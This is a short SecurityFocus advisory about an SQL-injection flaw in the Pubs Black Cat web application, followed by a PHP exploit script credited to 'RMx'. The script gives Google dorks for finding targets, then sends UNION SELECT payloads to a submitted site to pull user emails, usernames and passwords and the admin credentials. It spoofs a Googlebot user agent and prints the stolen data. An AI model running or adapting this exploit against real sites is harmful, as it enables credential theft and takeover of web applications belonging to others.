source: https://www.securityfocus.com/bid/30221/info Pubs Black Cat [The Fun] is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. inurl: browse.groups.php Dork 2 --> inurl:browse.events.php Dork 3 --> browse.music.php Dork 4 --> browse.groups.php */ set_time_limit(0); error_reporting(0); echo " Yuhhu Pubs Exploit [ Coded By RMx ]
USERS EXPLOIT :
?rnek :http://www.example.com
"; if (isset($_POST['site'])) { $site=$_POST['site']; $hacker="browse.groups.php?category=-1+union+select+1,2,3,concat(0x656D61696C3A20,email,0x206B756C6C616E6963693A20,username,0x2073696672653A20,password),5,6,7,8,9+from+joovili_users"; $curl = curl_init(); curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); curl_setopt($curl, CURLOPT_URL, $site."/".$hacker); curl_setopt($curl, CURLOPT_USERAGENT, 'Googlebot/2.1 (+http://www.google.com/bot.html)'); curl_setopt($curl, CURLOPT_REFERER, 'http://www.google.com'); $html = curl_exec($curl); curl_close($curl); preg_match_all('#(.*)<\/td>#',$html,$huseyin); foreach ($huseyin[1] as $biyosecurity) { echo $biyosecurity ."
"; } } echo "
ADMIN EXPLOIT :
?rnek :http://www.example.com
"; if (isset($_POST['admin'])) { $site=$_POST['admin']; $hacker="browse.groups.php?category=-1+union+select+1,2,3,concat(0x206B756C6C616E6963693A20,admin_username,0x2073696672653A20,admin_password),5,6,7,8,9+from+joovili_admins"; $curl = curl_init(); curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); curl_setopt($curl, CURLOPT_URL, $site."/".$hacker); curl_setopt($curl, CURLOPT_USERAGENT, 'Googlebot/2.1 (+http://www.google.com/bot.html)'); curl_setopt($curl, CURLOPT_REFERER, 'http://www.google.com'); $html = curl_exec($curl); curl_close($curl); preg_match_all('#(.*)<\/td>#',$html,$huseyin); foreach ($huseyin[1] as $biyosecurity) { echo $biyosecurity ."
"; } } ?>